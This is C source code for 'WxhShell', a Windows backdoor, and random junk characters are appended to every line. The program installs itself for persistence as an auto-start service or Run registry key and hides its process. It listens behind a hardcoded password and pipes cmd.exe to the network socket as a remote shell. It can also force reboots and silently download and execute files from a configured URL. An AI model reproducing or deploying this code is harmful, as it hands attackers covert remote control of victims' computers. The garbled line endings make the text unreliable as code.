    if(Boot(SHUTDOWN)) >3I|5kZ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^t`0ul]c  
    else { 1>umf~%Wa  
    closesocket(wsh); [LV>z  
    ExitThread(0); Su+[Q6oC@  
    } 8LY^>.  
    break; )d{fDwrx1  
    } [<jU$93E  
  // 获取shell Yq{R*HO  
  case 's': { 8RS@YO  
    CmdShell(wsh); UI~hB4V$]  
    closesocket(wsh); 0])[\O`j  
    ExitThread(0); 8}Q 2!,9Q  
    break; bH%d*  
  } S2#@j#\  
  // 退出 aeEio;G1  
  case 'x': { '<6DLtZl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [88PCA:  
    CloseIt(wsh); 02YmV%  
    break; $Xs`'>,"  
    } YmHu8H_Q  
  // 离开 o,/wE  
  case 'q': { Sb}=j;F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kv ajk~  
    closesocket(wsh); \Y6r !D9  
    WSACleanup(); 6yC4rX!a  
    exit(1); 0aJcX)  
    break; f7;<jj;w7  
        } #W4 "^#2  
  } T5dnj&N ]  
  } 0u +_D8G  
cXb&Rm' L  
  // 提示信息 jZiz 0[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L08lkq,  
} %Vk77(  
  } WM ]eb, 8q  
8KsPAK_  
  return; !bCaDTz  
} h&rZR`g  
Q9&H/]"v  
// shell模块句柄 fGWXUJ  
int CmdShell(SOCKET sock) ~{pds  
{ /*t H$\6*  
STARTUPINFO si; 8/lgM'Eux  
ZeroMemory(&si,sizeof(si)); }q,dJE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {W=5 J7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )G*xI`(@  
PROCESS_INFORMATION ProcessInfo; 1I40N[PE)  
char cmdline[]="cmd"; bYr*rEcA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X,}(MW  
  return 0; Q!r` G  
} Zb:Z,O(vn  
D[Q/:_2l  
// 自身启动模式 COHook(:  
int StartFromService(void) /-+hMYe  
{ 7j88^59  
typedef struct thE9fr/  
{ K87yQOjPv  
  DWORD ExitStatus; F?qg?1v B|  
  DWORD PebBaseAddress; s(r4m/  
  DWORD AffinityMask; '($$-P\/  
  DWORD BasePriority; *JZlG%z  
  ULONG UniqueProcessId; vx}BT H  
  ULONG InheritedFromUniqueProcessId; >Sb3]$$  
}   PROCESS_BASIC_INFORMATION; }hcY5E-n  
o4agaA3k  
PROCNTQSIP NtQueryInformationProcess; $weC '-n@  
vhDtjf/*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M(n@ytz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6MLjU1  
`Q[NrOqe"  
  HANDLE             hProcess; }T}xVd0  
  PROCESS_BASIC_INFORMATION pbi; (O& HCT|  
yR"mRy1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lNTbd"}$:  
  if(NULL == hInst ) return 0; 5qFHy[I A  
[2!C ^ \t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "]\3t;IT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rbl^ aik  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8\jsGN.$JZ  
&=XK:+  
  if (!NtQueryInformationProcess) return 0; | /n  
7xfS%'=y"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3$.#\*s_4  
  if(!hProcess) return 0; Mq_P'/  
? 51i0~O=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "]OROJGa  
,sT5TS q  
  CloseHandle(hProcess); I1I-,~hO  
<kWkc|z BY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "=V!-+*@G@  
if(hProcess==NULL) return 0; U2v;GIo$yU  
A2 $05a$%  
HMODULE hMod; <j3|Mh_(I  
char procName[255]; eHR]qy 0_X  
unsigned long cbNeeded; A4rkwM  
E()%IC/R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ys|SacWC  
?Cx=!k.  
  CloseHandle(hProcess); M+b?qw  
\[]?9Z=n  
if(strstr(procName,"services")) return 1; // 以服务启动 G,<l}(tEG  
Z*-a=u%gl'  
  return 0; // 注册表启动 S)/548=`  
} jmcys _N3  
HJP~ lg  
// 主模块 |dDKO  
int StartWxhshell(LPSTR lpCmdLine) ZT8LMPC  
{ JpxQS~VX  
  SOCKET wsl; GRaU]Z]ck  
BOOL val=TRUE; dGz4`1(>  
  int port=0; ]wi0qc2 {  
  struct sockaddr_in door; 4Z5;y[k(  
?% A 2  
  if(wscfg.ws_autoins) Install(); [B+:)i  
e1%kW1Z9  
port=atoi(lpCmdLine); %?Q&a ]  
9ExI,  
if(port<=0) port=wscfg.ws_port; 6ud<U#\b&  
>0uj\5h)I]  
  WSADATA data; `6;$Z)=.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]2 $T 6  
>s1?rC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a6O <t;&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *adznd  
  door.sin_family = AF_INET; `r-3"or/$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '+3C2!  
  door.sin_port = htons(port); 6 N:Ps8Hg  
Zo }^"u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X(\L1N  
closesocket(wsl); e m0 hTxb  
return 1; !~vx|_$#  
} 7[!dm_  
~qIr'?D  
  if(listen(wsl,2) == INVALID_SOCKET) { f^ZhFu?  
closesocket(wsl); pM}~/  
return 1; 3s67)n  
} <]X 6%LX  
  Wxhshell(wsl); 9X +dp  
  WSACleanup(); FFN Sn  
[;4;. V  
return 0; \CV HtV  
Xo&\~b#-  
} cbs ;  
adAdX;@e`  
// 以NT服务方式启动 !l Egta[Ql  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F ^aD#  
{ Tku6X/LF  
DWORD   status = 0; g"(@+\XZH"  
  DWORD   specificError = 0xfffffff; y7%SHYC p[  
gVI`&W__,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %QEyvl4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L]u^$=rI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M&<qGV$A  
  serviceStatus.dwWin32ExitCode     = 0; Px9 K  
  serviceStatus.dwServiceSpecificExitCode = 0;  ; (A-  
  serviceStatus.dwCheckPoint       = 0; %g{)K)$,ui  
  serviceStatus.dwWaitHint       = 0; sriDta?Cz  
]!~?j3-k Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  m l@% H  
  if (hServiceStatusHandle==0) return; V|[NL4  
+|7N89l  
status = GetLastError(); +!!G0Zj/  
  if (status!=NO_ERROR)  K+XUC  
{ %>6ilG Q+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e-[PuJ  
    serviceStatus.dwCheckPoint       = 0; SynRi/BRmw  
    serviceStatus.dwWaitHint       = 0; qxsHhyB_n;  
    serviceStatus.dwWin32ExitCode     = status; BW}M/  
    serviceStatus.dwServiceSpecificExitCode = specificError; }p?67y/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |lg jI!iK  
    return; }L&LtW{X  
  } (DS"*4ty  
SbzJeaZv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o4J@M{xb_  
  serviceStatus.dwCheckPoint       = 0; nc\2A>f`  
  serviceStatus.dwWaitHint       = 0; 0:<Y@#L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +."cbqGP_q  
} k_ywwkG9lU  
<VutwtA  
// 处理NT服务事件,比如:启动、停止 ~fb#/%SV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZoSyc--Bv  
{ :FfEjNil  
switch(fdwControl) pek=!nZ  
{ 4d}=g]P  
case SERVICE_CONTROL_STOP: /f Q}Ls\  
  serviceStatus.dwWin32ExitCode = 0; &q9=0So4\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +^&i(7a[?  
  serviceStatus.dwCheckPoint   = 0; R5%CK_  
  serviceStatus.dwWaitHint     = 0; [#RFdn<  
  { 5E1`qof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ",J&UTUh  
  } `b]wyP  
  return; &R?to>xr \  
case SERVICE_CONTROL_PAUSE: %KkC1.yu<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; au/LoO#6Ro  
  break; VJT /9O)Z|  
case SERVICE_CONTROL_CONTINUE: }qhYHC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -aS@y.z  
  break; QB!_z4UJ_;  
case SERVICE_CONTROL_INTERROGATE: o 9/,@Ri\5  
  break; c5b }q@nH  
}; ,\cV,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i$Kx@,O8t  
} CCol>:8{P  
/3K)$Er  
// 标准应用程序主函数 19c_=$mV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &qWB\m  
{  -gS9I^  
P}UxA!  
// 获取操作系统版本 H9_iTGBQ  
OsIsNt=GetOsVer(); 2f@Cy+W'[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .`5|NUhN  
U B~ -$\.  
  // 从命令行安装 qNP)oU92  
  if(strpbrk(lpCmdLine,"iI")) Install(); N6\rjYx+7  
hf0(!C*  
  // 下载执行文件 jC>#`gD  
if(wscfg.ws_downexe) { D GcpYA.7'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e&U$;sS`  
  WinExec(wscfg.ws_filenam,SW_HIDE); R@s7s%y=  
} ipg`8*My  
wy tMoG\  
if(!OsIsNt) { n%#3xo a  
// 如果时win9x,隐藏进程并且设置为注册表启动 lS7L|  
HideProc(); cNxxX!P/  
StartWxhshell(lpCmdLine); sxph#E%  
} bv'>4a  
else law$LL  
  if(StartFromService()) kp*!  
  // 以服务方式启动 Z`M pH  
  StartServiceCtrlDispatcher(DispatchTable); m"'LT0nur  
else US(RWXyg  
  // 普通方式启动 *<y9.\z Y<  
  StartWxhshell(lpCmdLine); DB-79U%W  
3Il._]#  
return 0; 8Q$WwiS  
} f!R7v|j P  
Xq03o#-p+  
nKS*y*  
"aCB}  
=========================================== #k|f>D4  
=E%@8ZbK  
adIrrK  
zIu/!aw  
* jWh4F,  
`[(XZhN  
" *pSnEWwE  
CJ%'VijhD  
#include <stdio.h> K8MET&  
#include <string.h> o5DT1>h  
#include <windows.h> jOrfI-&.G  
#include <winsock2.h> 1/w8'Kf'u  
#include <winsvc.h> h]t v+\0  
#include <urlmon.h> %<a3[TQd`\  
B ;E"VS0  
#pragma comment (lib, "Ws2_32.lib") w9VwZow  
#pragma comment (lib, "urlmon.lib") ?O#,{ZZf=  
z,x )Xx  
#define MAX_USER   100 // 最大客户端连接数 Ao}<a1f  
#define BUF_SOCK   200 // sock buffer jS[=Zx`  
#define KEY_BUFF   255 // 输入 buffer Nr `R3(X  
LO)!Fj4|  
#define REBOOT     0   // 重启 Y z&!0Hfd  
#define SHUTDOWN   1   // 关机 Fj~suZ`  
%aMC[i  
#define DEF_PORT   5000 // 监听端口 G$V=\60a-  
BO7HJF)a  
#define REG_LEN     16   // 注册表键长度 P(b[|QF  
#define SVC_LEN     80   // NT服务名长度 0RMW>v/7kL  
43B0ynagN  
// 从dll定义API I[ \7Bf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uGb+ *tD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d4  \  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +~iiy;i(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %sOY:>  
RH<2f5-sC!  
// wxhshell配置信息 M.}J SDt  
struct WSCFG { `vAcCahM  
  int ws_port;         // 监听端口 rDbtT*vN  
  char ws_passstr[REG_LEN]; // 口令 JG'%HJ"D  
  int ws_autoins;       // 安装标记, 1=yes 0=no i]? Eq?k  
  char ws_regname[REG_LEN]; // 注册表键名 d]O:VghY\  
  char ws_svcname[REG_LEN]; // 服务名 v+in:\Dv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WA43}CyAe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TmLCmy!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sBa:|(Y.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Yodx$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R@jMFh;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SF+L-R<e  
nCWoco.xy  
}; gFHBIN;u  
='b)6R  
// default Wxhshell configuration p{LbTjdNc  
struct WSCFG wscfg={DEF_PORT, Q\kWQOB_  
    "xuhuanlingzhe", >zX^*T#  
    1, YlbX_h2S"  
    "Wxhshell", 9GCK3  
    "Wxhshell", )G^k$j  
            "WxhShell Service", ^U5N!"6R  
    "Wrsky Windows CmdShell Service", }aE'  
    "Please Input Your Password: ", xO>z )3A  
  1, WVpx  
  "http://www.wrsky.com/wxhshell.exe", Oj_]`  
  "Wxhshell.exe" qna!j|90Lp  
    }; )M+po-6$1  
[niFJI sc  
// 消息定义模块 R3_OCM_*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [.xY>\e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QR"+fzOL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9G SpDc  
char *msg_ws_ext="\n\rExit."; 3\j`g  
char *msg_ws_end="\n\rQuit."; 4Xa] yA =  
char *msg_ws_boot="\n\rReboot..."; :FS5BT$=  
char *msg_ws_poff="\n\rShutdown..."; "0jwCX Cu  
char *msg_ws_down="\n\rSave to "; Q%d%Io\-t  
erUK; +2g  
char *msg_ws_err="\n\rErr!"; 7afG4 (<k  
char *msg_ws_ok="\n\rOK!"; U?f-/@fc  
83Rs1}*  
char ExeFile[MAX_PATH]; f|w;u!U(  
int nUser = 0; |"9&F  
HANDLE handles[MAX_USER]; 7\98E&  
int OsIsNt; }M%3  
6}N`YOJ.  
SERVICE_STATUS       serviceStatus; L5 `k3ap|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6#*_d,xQT  
Mi|13[p{  
// 函数声明 WFahb3kx  
int Install(void); yXDjM2oR/2  
int Uninstall(void); *|W](id7e  
int DownloadFile(char *sURL, SOCKET wsh); wMR,r@}  
int Boot(int flag); `9[n5-t  
void HideProc(void); 8j70X <R  
int GetOsVer(void); zX*5yNd  
int Wxhshell(SOCKET wsl); Rh~b,"  
void TalkWithClient(void *cs); ux1(>  
int CmdShell(SOCKET sock); h'&<A_C-7  
int StartFromService(void); oOND]>  
int StartWxhshell(LPSTR lpCmdLine); "y"oV[`  
&Hp*A^M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (c)/&~aE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jXf@JxQ  
)e3w-es~4  
// 数据结构和表定义 DmuQE~DV  
SERVICE_TABLE_ENTRY DispatchTable[] = p P@q `  
{ +`Q]p" G  
{wscfg.ws_svcname, NTServiceMain}, "Tser*i )  
{NULL, NULL} 2@Yu: |d4U  
}; >v@3]a i  
eEVB   
// 自我安装 '9WTz(0?  
int Install(void) Yl&[_ l  
{ p1d%&e  
  char svExeFile[MAX_PATH]; SJP3mq/^K  
  HKEY key; }hg=#*  
  strcpy(svExeFile,ExeFile); myX&Z F_9  
Q >[>{N&\  
// 如果是win9x系统,修改注册表设为自启动 V;SV0~&  
if(!OsIsNt) { [XI:Yf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P!f0&W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SzB<PP2  
  RegCloseKey(key); 'J} ?'{.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lq_UCCnv5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C=o-3w  
  RegCloseKey(key); ,i}EGW,9q  
  return 0; )-5eIy  
    } )-[$m%  
  } WZ6{9/%:  
} SS%Bde&<{  
else { q7KHx b  
c]x-mj =  
// 如果是NT以上系统,安装为系统服务 "1Hn?4nz5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kJuG haO  
if (schSCManager!=0) dpq(=s`s  
{ :n13v @q  
  SC_HANDLE schService = CreateService )C?H m^ #  
  ( ej_u):G*  
  schSCManager, #Ko I8U"  
  wscfg.ws_svcname, |g}r  
  wscfg.ws_svcdisp, &Wa3/mWK  
  SERVICE_ALL_ACCESS, ; k.@=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ui)mYR[8X  
  SERVICE_AUTO_START, Ix_w.f=8  
  SERVICE_ERROR_NORMAL, k%~;mu"4}  
  svExeFile, J#Y0R"fo  
  NULL, $*X?]?  
  NULL, DjK7_'7(L  
  NULL, :l]qTCmY  
  NULL, n.9k5r@  
  NULL 3xz~##  
  ); W"@'}y  
  if (schService!=0) ~fD\=- S1  
  { %,vq@..^  
  CloseServiceHandle(schService); zdPJ>PNU  
  CloseServiceHandle(schSCManager); F5:xrcyC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sd ^I >;  
  strcat(svExeFile,wscfg.ws_svcname); 2Cy,#X%j>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z@e(y@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s'N<  
  RegCloseKey(key); [! ;sp~  
  return 0;  ]'% iR  
    } ;Ngk"5  
  } OHAU@*[lM  
  CloseServiceHandle(schSCManager); ,rN$ah$CL  
} _Cz98VqRk  
} hfIP   
} x r0m+/  
return 1; V Zbn@1  
} _XP}f x7$C  
mYo~RXKGF  
// 自我卸载 L9e<hRZ$  
int Uninstall(void) 3HuocwWbz  
{ Jf= V<  
  HKEY key; u8JH~b  
_y6iR&&x  
if(!OsIsNt) { u =L Dfn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kh=\YN\E<  
  RegDeleteValue(key,wscfg.ws_regname); {06-h %qr  
  RegCloseKey(key); EZiLXQd_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P-T@'}lW  
  RegDeleteValue(key,wscfg.ws_regname); A405igF  
  RegCloseKey(key); I@VzH(da\  
  return 0; e}{#VB<  
  } .53 M!  
} )P9]/y  
} 4=^Ha%l  
else { bnL!PsG$K,  
4|%Y09"lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q90RTX'CY  
if (schSCManager!=0) xC9?rLUZ  
{ 9xJtDdy-O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uHacu<$=  
  if (schService!=0) J?#vL\8  
  { pFMjfWD,C  
  if(DeleteService(schService)!=0) { PhuHfw4$y,  
  CloseServiceHandle(schService); LFi{Q{E)  
  CloseServiceHandle(schSCManager); <f:(nGj  
  return 0; -J 6`  
  } V[%IU'{:  
  CloseServiceHandle(schService); 6`'g ${U  
  } Q'^'G>MBJ  
  CloseServiceHandle(schSCManager); aJ=)5%$6kc  
} q0ab]g+  
} cyd&bxPgj+  
0@{bpc rc  
return 1; k1g-%DB  
} l%Ke>9C  
d5LBL'/o  
// 从指定url下载文件 6v scu2  
int DownloadFile(char *sURL, SOCKET wsh) _0u=}tc  
{ Qh8pOUD0l}  
  HRESULT hr; p3-~cr.LD  
char seps[]= "/"; "h1ek*(?<  
char *token; }@ U}c6/  
char *file; ;s$4/b/~  
char myURL[MAX_PATH]; URj)]wp/  
char myFILE[MAX_PATH]; O251. hXK  
Sru0j/|H\  
strcpy(myURL,sURL); *^{j!U37s  
  token=strtok(myURL,seps); ,if~%'9j  
  while(token!=NULL) F ]D^e{y  
  { (  -q0!]E  
    file=token; $tW E9_  
  token=strtok(NULL,seps); %}N01P|X>  
  } \rh+\9(  
tkptm%I _  
GetCurrentDirectory(MAX_PATH,myFILE); '6\w4J(  
strcat(myFILE, "\\"); c^H#[<6p  
strcat(myFILE, file); f:P;_/cJc  
  send(wsh,myFILE,strlen(myFILE),0); lz>.mXdx  
send(wsh,"...",3,0); .1^ Kk3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R(_WTs9x4  
  if(hr==S_OK) +Q5'!@8  
return 0; so.}WU  
else 9k62_]w@6  
return 1; 9i_@3OVl  
[Pq |6dz  
} >2K'!@ ~'  
3zfpFgD!  
// 系统电源模块 Lf a&JKd  
int Boot(int flag)  )D+eWo  
{ =s:kC`O  
  HANDLE hToken; e)-$ #qW  
  TOKEN_PRIVILEGES tkp; [-W~o.`  
hB>FJZQ_  
  if(OsIsNt) { e 5(|9*t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )~$ejS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @HI@PZ>  
    tkp.PrivilegeCount = 1; &uaSp, L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |Om][z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hqHk,#  
if(flag==REBOOT) { K0'p*[yO/j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KDP& I J  
  return 0; Y*lc ~X  
} "IJ1b~j?  
else { )2d1@]6#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :ba4E[@  
  return 0; AGwdM-$iT  
} 2XUIC^<@s  
  } P^q!Pye  
  else { 2Nm{.Y  
if(flag==REBOOT) { P9`CW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c?c"|.-<p  
  return 0; x)%"i)  
} -`spu)  
else { fK(:vwh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j)Q}5M  
  return 0; * >NML]#0  
} })mD{c/  
} WT,dTn;W  
-zt*C&)b  
return 1; Y nTx)uW  
} cZ`%Gt6g  
F2(^O Fh  
// win9x进程隐藏模块 cF9ZnT.  
void HideProc(void) 4},Y0QXw  
{ p@DVy2,EY  
y^X]q[-?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8c%N+E]  
  if ( hKernel != NULL ) j{t r''yN  
  { A2PeI"y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;u';$0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z+0#H39&  
    FreeLibrary(hKernel); s"tH?m )6  
  } S?'L%%Vo  
|a\,([aU  
return; HmsXV_B8[Y  
} @YS,)U)4S  
V^ ;l g[:  
// 获取操作系统版本 'wBOnGi6  
int GetOsVer(void) =b6G' O[  
{ 7<8'7<X  
  OSVERSIONINFO winfo; j\B taC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `X&d:!}F  
  GetVersionEx(&winfo); -@'RYY=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %vG;'_gM B  
  return 1; YD~(l-?"  
  else ^h`rA"F\  
  return 0; Hp(41Eb,  
} :q2RgZE  
:.-KM7tDI1  
// 客户端句柄模块 L&5zr_  
int Wxhshell(SOCKET wsl) m+pK,D~{"  
{ WdJeh:h  
  SOCKET wsh; Z\1`(Pq7`  
  struct sockaddr_in client; 0!axAvBV  
  DWORD myID; n:<Xp[;R  
ay{]Vqi9  
  while(nUser<MAX_USER) QS,_=< (  
{ \D%n8O  
  int nSize=sizeof(client); OMjx,@9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z#;\Rb.x7  
  if(wsh==INVALID_SOCKET) return 1; u VUrg;>  
5!6iAS+I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _|{pO7x]oG  
if(handles[nUser]==0) !D 'A  
  closesocket(wsh); S->Sp  
else sv\=/F@n  
  nUser++; ,>pv>)u{  
  } Y\(?&7Aax  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); puF*WxU)  
#Oa`P  
  return 0; h9. Yux  
} z`dnS]q9  
r6:nYyF$)v  
// 关闭 socket $z@nT.x5  
void CloseIt(SOCKET wsh) V<n#%!M5gV  
{ JJ_KfnH  
closesocket(wsh); gp{Z]{io  
nUser--; gi? wf  
ExitThread(0); %we! J%'Y]  
} ;O .;i,#Z  
c-?0~A  
// 客户端请求句柄 ZmaW]3$  
void TalkWithClient(void *cs) dTU`@!f  
{ (b.Mtd  
lqoVfj'6M  
  SOCKET wsh=(SOCKET)cs; w-wJhc|  
  char pwd[SVC_LEN]; Ojp|/yd^YL  
  char cmd[KEY_BUFF]; iA"H*0  
char chr[1]; /'>ck2drjk  
int i,j; SR/ "{\C  
s*>B"#En  
  while (nUser < MAX_USER) { DK%@ [D  
DeN$YE#*  
if(wscfg.ws_passstr) { -K5u5l}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m?1AgsBR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uKT\\1Jrq  
  //ZeroMemory(pwd,KEY_BUFF); aQ1n1OBr  
      i=0; \AD|;tA\vE  
  while(i<SVC_LEN) { (rf8"T!"  
pD6a+B\;k  
  // 设置超时 '&y+,2?;Y[  
  fd_set FdRead; rAu@`H?  
  struct timeval TimeOut; \#'m([<e  
  FD_ZERO(&FdRead); hl+ T  
  FD_SET(wsh,&FdRead); G^\.xk]  
  TimeOut.tv_sec=8; fd1z XK#Z2  
  TimeOut.tv_usec=0; pA5X<)~   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jpfFJon)w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d]l(B+\vf  
!R$t>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3.04Toq!  
  pwd=chr[0]; +]# p m9  
  if(chr[0]==0xd || chr[0]==0xa) { e]l.m!,r  
  pwd=0; {y>Kcfc/?E  
  break; ur/:aI  
  } @IBU{{  
  i++; L?hWH0^3  
    } }RkD7  
x#tP)5n?s*  
  // 如果是非法用户,关闭 socket Q"`J-#L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Pc&`1Ap  
} G^w:c]  
MSS0Sx<f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8.D9OpU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J|o )c~  
R<8!lQ4s  
while(1) { OQsF$% *   
>Co5_sCe  
  ZeroMemory(cmd,KEY_BUFF); GEfTs[  
WcE/,<^*  
      // 自动支持客户端 telnet标准   N1z:9=(I  
  j=0; Bf6\KI<V2  
  while(j<KEY_BUFF) { 'uF"O"*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E`UEl$($  
  cmd[j]=chr[0]; nOUF<DNQ  
  if(chr[0]==0xa || chr[0]==0xd) { C C`Y r  
  cmd[j]=0; k*= #XbX  
  break; @RI\CqFHR  
  } RD'i(szi?  
  j++; O8w|!$Q.  
    } G9a6 $K)b  
B3&`/{u  
  // 下载文件 Ha20g/ UN.  
  if(strstr(cmd,"http://")) { ^e WD4Vp|4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t>(}LV.  
  if(DownloadFile(cmd,wsh)) NT [~AK9M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LD)P. f  
  else 8u#2M8.5E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [e`6gGO  
  } xy1R_*.F^T  
  else { $<s 3;>t  
%C(^v)"  
    switch(cmd[0]) { si3@R?WR6*  
  =G%L:m*  
